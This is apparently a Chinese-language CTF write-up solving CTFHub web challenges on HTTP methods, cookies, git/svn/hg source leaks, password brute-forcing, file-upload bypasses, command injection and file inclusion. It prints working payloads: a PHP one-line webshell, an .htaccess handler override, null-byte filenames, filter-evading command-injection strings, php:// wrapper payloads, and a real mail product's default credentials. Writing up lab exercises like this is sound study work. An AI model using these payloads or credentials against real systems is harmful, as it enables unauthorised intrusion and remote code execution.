Web前置技能
HTTP协议
1.请求方式
请求方式
根据HTTP协议,HTTP请求可以使用多种请求方法。
1.GET请求
请求指定的页面信息并返回实体主体。
2.HEAD请求
类似于GET请求,但只返回响应的头信息。
3.POST请求
将需操作数据包含在数据包中发给指定资源进行处理请求。
4.PUT请求
将资源上传到指定位置并覆盖原本该位置的资源,完成数据的更新。
5.DELETE请求
请求服务器删除Request-URL所标识的资源。
6.CONNECT请求
HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
7.OPTIONS请求
返回服务器针对特定资源所支持的HTTP请求方法,也可以利用向web服务器发送‘*’的请求来测试服务器的功能性。
8.TRACE请求
回显服务器收到的请求。
根据题目要求,需要使用ctf**b的请求获得flag
方法一:bp抓包修改请求方式
将第一次抓到的GET请求改成CTFHUB请求(按照题目所要求的是CTF ** B请求,但是并没有成功,出现了400 bad request)
方法二:Linux中的curl命令
curl -v -X CTFHUB url
这段指令相当于返回所有信息
curl -v#获取整个通信过程
curl -X#用特定方式请求
2.302跳转
302跳转,也称为302重定向,是一种HTTP状态码,表示临时重定向。当一个网页经历过短期的URL变化时使用。服务器通过返回302状态码和Location头部,告诉浏览器应该显示不同的URL,但搜索引擎会保留旧的网址。
这道题目打开网页后提示这里没有flag,根据题意是302跳转,就用bp拦截后再重发
3.Cookie
Cookie 是一种小型的文本文件,它存储了用户在浏览网站时的一些信息。这些信息可以包括用户的登录状态、个人偏好设置、会话标识符等。由服务器发送到用户浏览器并保存在本地的小数据片段。
题目打开后提示要admin才能拿到flag这里最开始看到admin想到的是sql注入,但是这里不是登录admin用户,所以要用别的方法,用bp抓包后修改数据试试
这里可以看到cookie 中admin是0,在计算机中0表示不是,1表示是,所以我们修改admin=1就相当于告诉服务器我们是管理员
修改后重发就可以了
4.基础认证
这里提示要输入用户名和密码,随便乱输入几个没反应,结合题目给的附件,应该是要爆破用户名和密码
先bp抓包
没找到有用的信息,重发一下试试
这里提示Do u know admin?可以猜测用户名是admin,输一个1试试
返回数据不是常规类型的用户名密码的格式,就找到中间那串很可疑,放到赛博大厨中看看
说明这里的格式是user:passwords的格式,接下来就开始构造payload进行爆破。因为没有自动标记攻击位置,而且输入数据会被base64加密,就采用自定义迭代器
先设置用户名和分隔符
设置密码,就是题目给的字典添加规则,base64编码,记得把下面的URL编码的√取消
开始爆破,在一堆401跳转中找到200跳转,使用重发器重发
就可以得到flag了
5.响应包源代码
没什么好说的,Ctrl+U
信息泄露
1.目录遍历
在里面找就可以找到了
2.phpinfo
对php语言的解读,在里面搜索flag就可以了
3.备份文件下载
(1)网站源码
这题用御剑工具扫描发现了.zip文件,下载后就可以得到flag
(2)bak文件
在题目的URL后面输入/index.php.bak 就可以下载bak文件,在记事本中打开就可以得到flag了
(3)vim缓存
根据查阅得知,vim异常退出时会产生swp文件,swp是隐藏文件,在网址后面输入/.index.php.swp(注意/后面有个.)下载得到的文件用记事本打开即可
(4).DS_Store
DS_Store是苹果 Mac OS 操作系统特有的文件。.DS_Store文件不是用于存储用户直接访问的内容。普通文档文件是用户可以直接打开查看其中的文本、图像等信息,而.DS_Store文件是为系统服务的,用户一般不需要直接操作它。同时,与程序文件(如.app文件)相比,它也不用于执行程序功能,只是保存文件夹的相关显示属性。
尝试下载.DS_Store文件,在网址后面输入/.DS_Store,可以得到一个该文件,但是用记事本打开发现是一串特殊序列,.txt后面一串字符,其中notuestr是注释的意思,这串字符的意思是“注释 flag 在这!”
.txt文件的前面有很多空格,把空格删除掉在URL中打开
4.Git泄露
(1)Log
根据题意需要下载githack这个工具,所以首先下载安装githack,注意运行githack需要在Python2版本下运行
首先用githack扫描网站
python2 GitHack.py challenge-e54287f4a335b24e.sandbox.ctfhub.com_10800/.git/
显示克隆成功,在最初的master分支里找到dist文件夹中的这个file的文件夹
打开来是两个网页,访问了也没有信息,接着用git log查看历史版本信息
这里可以看到,有一次提交flag的记录,接着用git diff比较两次差距
git diff 版本1 版本2
(2)Stash
这道题与上面log题比较相似,但是多了一步
首先还是用githack扫描找到储存信息的文件夹
使用命令查看log
git log
还是发现了add flag这个版本,继续使用git diff指令查看两次不同
git diff 版本1 版本2
并没有得到flag,那么这时候就要用git stash pop还原最近的stash
git stash list#查看所有已保存的 stash 列表
git stash pop#恢复最近一次记录(stash),并从 stash 列表中移除该 stash,可以通过指定 stash 的名称(哈希值的前几个字符)来选择特定的 stash 进行应用
这里查到了add flag的记录,接着用git stash pop恢复这次记录
找到了被删除的文件,结合版本中有一个remove flag的版本,那么就可以猜测这就是flag,抓取flag
(3)index
跟第一题类似,先用githack扫描找到储存的位置
用git log查看
比较两次的差异
5.SVN泄露
进入页面提示flag在旧版本的源代码中用dirb扫描后发现.SVN文件夹
根据搜索,这里需要用到dvcs-ripper工具,在ctfhub里面可以下到,下载后还要安装依赖
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
接着使用这个工具处理
./rip-svn.pl -u http://challenge-f4efaeb0232f6a11.sandbox.ctfhub.com:10800/
已经将SVN文件克隆到本地,用ls查看
发现.SVN文件,进入当中
cd .svn
ls查看,发现了wc.db这是svn数据库文件,查看这个文件
cat wc.db
发现了flag文档,查看
cat flag_917012409.txt
应该是flag被移除了,没有找到接着查看prestine文件,这是源代码文件副本
里面有两个内容,一个是bf,一个是d1,抓取后发现是文件夹在里面找一下,bf是这个网页的部分,而d1应该就是旧版本了
6.HG泄露
根据提示flag在服务器旧版本源码中,接着使用dvcs-ripper工具将泄露文件下载到本地
./rip-hg.pl -u http://challenge-c87c1126a6262f2a.sandbox.ctfhub.com:10800/.hg
出现了404报错
但依然可以查看.hg的树状图在里面找到了一个last-message.txt比较可疑
发现了提交flag的活动,接着搜索关于flag的内容,使用grep指令
grep -a -r flag
grep选项:
-a:将二进制文件视为文本文件来处理
-r:递归地搜索指定目录及其子目录中所有文件
扫到了关于flag的文档,使用curl指令来读取
curl http://challenge-c87c1126a6262f2a.sandbox.ctfhub.com:10800/flag_2856623979.txt
密码口令
1.弱口令
非常熟悉的爆破,因为没给用户名和密码,所以使用集束炸弹模式进行爆破,设置用户名和密码
1.Sniper(狙击手模式)
使用一组字典,如果你设置了 用户名 用户名 用户名、 密码 密码 密码、 验证码 验证码 验证码,那么狙击手模式只会先狙击用户名,狙击完成后会逐一狙击密码和验证码。
2.Battering ram(攻城锤模式)
使用一组字典,如果你设置了 用户名 用户名 用户名、 密码 密码 密码、 验证码 验证码 验证码,那么攻城锤模式会一次性全部替换执行攻击。
3.Pitchfork(草叉模式)
允许使用多组字典,如果你设置了 用户名 用户名 用户名、 密码 密码 密码、 验证码 验证码 验证码,那么草叉模式会在这些地方遍历所有字典。
4.Cluster bomb(集束炸弹模式)
允许使用多组字典,如果你设置了 用户名 用户名 用户名、 密码 密码 密码、 验证码 验证码 验证码,那么集束炸弹模式会进行笛卡尔积。字典一一对应。
设置攻击的位置和模式导入一个用户名表单和密码表单
开始爆破
得到用户名是admin,密码是123456
2.默认口令
这题发现是也是要找用户名和密码,但是里面有图片验证码,bp抓包爆破并不现实,结合题目默认口令,猜测可能存在初始密码,就去搜一下这个亿中邮
查到了
但是输入后提示用户不对
根据查询后得知可能不止一个默认口令
最后经过测试只有这个是对的
用户名:eyougw
密码:admin@(eyou)
文件上传
1.无验证
一句话木马和蚁剑就搞定了
2.前端验证
上传木马发现上传不了
看源代码,发现只能上传图片类型那就上传图片马,发现传上去了但是链接不了
所以这里采用bp抓包修改文件后缀的方式绕过
将图片马后缀修改为php文件
蚁剑连接即可
3.htaccess
先了解这个东西
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
.htaccess文件类似于一个解码器,可以将其他文件解析为别的格式这道题的黑名单基本把php后缀类型过滤完了但没有过滤htaccess文件,所以解题思路是先上传一个图片马,再上传一个.htaccess文件作为解码器
这里上传了htaccess文件后要用bp抓包把文件名删掉,只留下后缀,要不然不发挥作用
exp:
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
4.MIME绕过
先了解
MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型,当该扩展名文件被访问的时候,浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名,以及一些媒体文件打开方式。
先上传一个一句话木马试试提示文件类型不正确,而在前端验证时跳出来的是该文件不允许上传,根据查询需要把content-Type那里修改为image/jpg
蚁剑连接
5.文件头检查
先传马再传一个jpg图片马提示文件错误,根据查询,需要用bp改文件头
先上传一个php的木马
修改文件类型为图片image/jpg,再在木马前段加上GIF89a,欺骗服务器这是一个GIF89a类型的图片放包后蚁剑连接
6.00截断
原理:
php是基础c语言实现的,C语言中认为0x00是结束符号,文件上传之所以可以00截断,是因为白名单判断的时候是判断后缀,在进行路径拼接的时候用的其他值,然后在进行move_uploaded_file的时候,这个函数读取到hex值为00的字符,认为读取结束,出现00截断
先传马,提示文件类型不匹配查看源码
首先,这里只能上传jpg,png,gif类型文件,关键是这一句
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des))
这里提示文件上传路径会被重命名导致找不到文件上传路径,在上传文件的时候用00截断来固定我们的路径
先上传一个PHP的木马
filename="1.php%001.jpg"
修改文件名
/?road=/var/www/html/upload/1.php%001.jpg
这样会使得road后面的代码失去作用,路径就被固定为URL/upload/1.php
7.双写后缀
根据题目提示这是双写后缀绕过
<!--
$name = basename($_FILES['file']['name']);
$blacklist = array("php", "php5", "php4", "php3", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess", "ini");
$name = str_ireplace($blacklist, "", $name);
-->
根据源码可以看出黑名单里把PHP过滤了,检测到有黑名单字符就把后缀删除,但是只删了一次,这里就可以采用双写后缀绕过的方式,这里抓包后把文件后缀改为.pphphp就可以了蚁剑连接
RCE
1.eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
简单的代码审计,意思是检验是否有cmd这个变量,可以理解为木马用蚁剑连上后即可在根目录下找到flag
2.命令注入
先了解命令注入
命令注入漏洞和SQL注入、XSS漏洞很相似,也是由于开发人员考虑不周造成的,在使用web应用程序执行系统命令的时候对用户输入的字符未进行过滤或过滤不严格导致的,常发生在具有执行系统命令的web应用中,如内容管理系统(CMS)等。
Windows中的命令连接符如下
& 运算符
作用:将一个命令放入后台执行,允许同时执行其他命令,而不用等待该命令执行完成。
用法:command1 & command2,即将 command1 放入后台执行,同时执行 command2。
特点:
不会阻塞当前命令行终端。
不管前一个命令是否成功执行,后续的命令都会执行。
&& 运算符
作用:逻辑与运算符,表示只有当第一个命令成功执行后,才会执行第二个命令。
用法:command1 && command2,即只有当 command1 成功执行后,才会执行 command2。
特点:
当第一个命令执行失败时,后续的命令不会执行。
用于条件执行,通常用于执行依赖关系较强的命令。
| 运算符
作用:将第一个命令的输出作为第二个命令的输入,实现管道操作。
用法:command1 | command2,即将 command1 的输出作为 command2 的输入。
特点:
用于将命令的输出传递给另一个命令进行处理。
通常用于组合多个命令,实现复杂的数据处理操作。
|| 运算符
作用:逻辑或运算符,表示只有当第一个命令执行失败时,才会执行第二个命令。
用法:command1 || command2,即当 command1 执行失败时,才会执行 command2。
特点:
当第一个命令执行成功时,后续的命令不会执行。
用于处理错误情况,通常用于容错处理。
; 运算符
作用:表示顺序执行,即无论前一个命令是否成功执行,都会继续执行后续的命令。
用法:command1 ; command2,即先执行 command1,然后执行 command2。
特点:
无论前一个命令执行成功与否,后续的命令都会执行。
通常用于按顺序执行多个命令,不考虑依赖关系。
(1)无过滤
这道题打开后要我们ping一个IP地址,这里使用本机回环地址,也就是自己主机的IP127.0.0.0,然后在后面用&连接上一个ls查看有哪些内容
127.0.0.0&ls
可以看到有两个PHP文件,index文件一般是网页首页文件,所以flag可能放在14142231895736.php里面
127.0.0.0&cat 14142231895736.php
在页面源代码里面找到了flag
(2)过滤cat
后面的题目都是考黑名单绕过
首先还是先查看目录
127.0.0.0&ls
这里把cat命令过滤了,那么可以用tac,more,less,head来绕过,或者添加分隔符/或\绕过
127.0.0.0&tac flag_57222308913238.php
flag在源码里
(3)过滤空格
首先查看目录
127.0.0.1&ls
这题的黑名单里只有空格,那就绕过空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}、${IFS}来代替空格
127.0.0.0&cat<flag_28164237247663.php
flag在源代码里
(4)过滤目录分隔符
这道题过滤了/和
先看目录
127.0.0.0&ls
这次得到的文件没有后缀,说明可能是个文件夹,想查看里面的内容用ls/不现实,就用;来连接
127.0.0.0;ls flag_is_here
找到flag了,接着抓取,注意要在打开flag_is_here下进行抓取操作
127.0.0.0;cd flag_is_here;cat flag_187102259418086.php
flag在源代码里
(5)过滤运算符
这道题目过滤了|和&,那么用;代替
127.0.0.0;ls
找到flag
抓取flag
127.0.0.0;cat flag_1991291273925.php
flag在源代码里
(6)综合过滤练习
这道题过滤了空格,/,|,&,cat,flag,ctfhub,;
因为这里的执行符号都被过滤了,就不能用上面的方法,根据查询使用%0a来绕过,但是要注意%0a是URL编码,需要跟在URL后面
URL/?ip=127.0.0.0%0als
成功了,接下来想办法得到flag
URL?ip=127.0.0.0%0als<flag_is_here
并没有看到我们想要的东西,就用tab(%09*)补齐查看全部内容
URL/?ip=127.0.0.0%0als%09*
终于找到flag了
?ip=127.0.0.1%0acd%09*is_here%0ac%27a%27t%09*_54772756222090.php
这里使用%09*补全所有内容,%0a代替;,%27代替空格,flag在源码里
3.文件包含
(1)文件包含
首先进行代码审计
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
这里提示传入参数file,并且检查file中是否有flag,如果有就输出hacker,否则将进行文件包含
题目还给了个txt附件打开来是用shell作为参数
<?php eval($_REQUEST['ctfhub']);?>
很眼熟的一句话木马,用蚁剑连接,路径就是URL/?file=shell.txt
flag就在根目录下
(2)php://input
代码审计
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
首先是检验是否有file参数传入,然后检查file参数的值是否以字符串php://开头,这是PHP伪协议的用法
php://input 是 PHP 提供的一个伪协议,允许开发者 访问 POST 请求的原始内容。
根据查询这道题用bp抓包重发做先构造PHP伪协议
GET /?file=php://input HTTP/1.1
、、、
<?php system("ls");>
没找到flag,查看上一级
读取flag
(3)读取源代码
这题参考之前做过的一道题构造PHP伪代码读取源代码
首先代码审计,题目提示flag in /flag说明flag在/flag文件中
exp:
URL/?file=php://filter/convert.base64-encode/resource=/flag
得到接着base64解码
(4)远程包含
代码基本跟第一题一样,给了phpinfo查看核心数据,这里允许进行远程包含
直接bp构造PHP伪代码处理
查看上一级
抓取flag